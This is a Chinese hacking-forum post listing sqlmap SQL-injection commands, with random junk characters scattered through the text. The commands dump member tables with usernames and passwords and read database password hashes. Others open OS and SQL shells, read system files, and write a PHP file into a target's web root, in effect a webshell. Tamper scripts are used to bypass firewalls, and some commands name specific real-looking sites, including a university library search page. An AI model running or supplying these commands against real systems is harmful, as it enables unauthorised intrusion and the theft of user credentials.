找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2197|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap
3 N9 K2 j8 I7 B# Q0 `0 z
: O" j% J- y. B; c3 f  U/ _& Jupdate :::::>     in the folder   after  execute    following   order : svn update
4 I) k. ~* M7 v" d
  e- c. X& w% K* u7 a) Isqlmap.py -r 1.txt --current-db
% G1 H( |. U! Q* b/ |# g& S# B9 l/ q: j
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”/ i; M, @# V. K' v( \

$ ]) B  Y  J: h4 F; ~, p6 C==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) ; p9 M( |# F$ O
猜解数据库
, Q( Y3 C0 }/ `9 o  K4 t7 X./sqlmap.py -u "injection-url" --dbs3 O' a# ]: ~- P
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
! E5 G. }) x# x: m. }4 a' y) s
+ v5 T( b$ h8 H9 n猜解表名
7 a4 K- Z. e! F3 B./sqlmap.py -u "injection-url" -D database_name --tables. f- C4 p6 W6 L, _' D

5 A) G& K7 r1 b' M" H: y. b$ h" qsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"  J$ c; B4 f. J6 [
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
# a4 \5 X7 q5 H: J' }3 y1 N' u2 Y
4 `0 }! x2 U2 c; w$ ]( Zsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
3 s8 p% u% }6 p' n9 ^( u
- Z2 \* f2 I* Vsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
' g( ~$ S- n6 W; m1 O5 |% N' tsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"1 n6 z" I5 ~0 @4 S- _
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" # b3 x6 e/ W" \- m& H. q
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"6 D. h' D5 `6 B& q! G
) w& K9 ?7 b( f
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py", s! `% J) x! [% \: Y; u4 G' |
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"! Q+ }8 L& Z' l) P  i" J
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"2 i) S/ u9 |- L- ?% D
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"5 [8 L9 `% S" O) n+ w2 j
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
  ?. q1 g6 ^! e5 c) b: ^/ i' ~/ O3 v4 W
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了6 {2 p7 T" d% L7 M$ Y6 T5 L) w
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
" k2 w# B2 w) s, c( d1 b) z, K" U6 W  K  p, R
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
& a8 o9 ?: ]! a! {% n猜解列名* E3 K- ^( N1 `: t
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
; a9 W: O5 q9 \: ^5 ~2 q0 U1 w# `+ |9 u3 S3 I6 y: j' t
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" ; H5 a( k1 [# Q$ V  ?; ^0 Q: U1 A+ T
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 4 K8 r3 ]3 K8 U2 I; X
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"& v8 {- N% x0 g$ p# Q+ n. V
; h" h% k  \) |4 N+ `
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"/ f5 {$ B9 Z( p7 m; H  e- `4 v# H
&submit=Go8 n6 l2 x& a& |) N8 A( ~
猜解值6 \/ I/ C* I- s! \5 C. e. w  a) C
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump$ W7 o: e1 g# H! ~2 w: ]7 j
========================================================3 S, H  ~  L, K) q" w$ N8 y
搜索表名中包括mana字符的
% I" w5 R; r: O/sqlmap.py -u "injection-url" -T mana --search
4 ^' Y$ x( ^) E, @: u$ i5 x返回一个交互式sql shell
- O, d! p# [- T' A5 B/sqlmap.py -u "injection-url" --sql-shell
9 J6 ^6 o$ O' c8 @读取指定文件(需权限)
7 w$ }3 Y4 a* W& r/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
2 ?8 t& x8 V8 `查看当前 用户 及 数据库
0 B* M4 x2 Q$ i4 _9 J) n% z/sqlmap.py -u "injection-url" --current-user --current-db! p; M( f% h- G. K" o* R# E
本地文件 写入 远程目标绝对路径% ], _# ~* ~1 y* d
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径( C' m/ v% l/ k: O+ q
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" ( c) H' a) t) e+ L* D7 k4 b
+ w6 n- W" I: N3 ]5 z( q
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
+ f, a8 e  S2 s6 r查看某用的权限
4 ^7 y( Q$ f; |) V/sqlmap.py -u "injection-url" --privileges -U root
- ]) w( f( W8 i3 E* R7 B查看当前用户是否为dba
3 A: w! K9 J( I9 t4 P9 d( o/sqlmap.py -u "injection-url" --is-dba: G; F, B: O: @+ H: `
读取所有数据库用户或指定数据库用户的密码. R3 k7 S# W2 B2 b! N
sqlmap.py -r 1.txt --users --passwords/ L! k* e$ w3 X; V# d, J
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" / P8 ~! m7 o& s# o/ O
) r; h6 Y$ Q8 Q9 o! |6 e) f
/sqlmap.py -u "injection-url" --passwords -U root) F4 ~: N: g4 F; o

- U/ h- w" C: H) l- a' O--start&&--stop 与 --first&&--last 的区别
$ d, H" X, V/ f8 j7 u1 b5 f4 E/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)- v; ]  e# F, b- [- K
7 T& T* F+ }! \2 i0 f' X) z/ U
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)( `! ^" P' A8 U. k9 A
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
1 g% Q8 n! |/ Q( T/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns$ O( N7 p: e7 @' B' t( }( ~+ }
! W/ J3 u9 O$ }4 F* J, X4 ^
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)  C* S" R! ~/ {" z1 M8 T' F
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
$ t8 i3 c: ?0 T3 @, @1 l) C+ I2 ~) e' y: h- G: s, O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表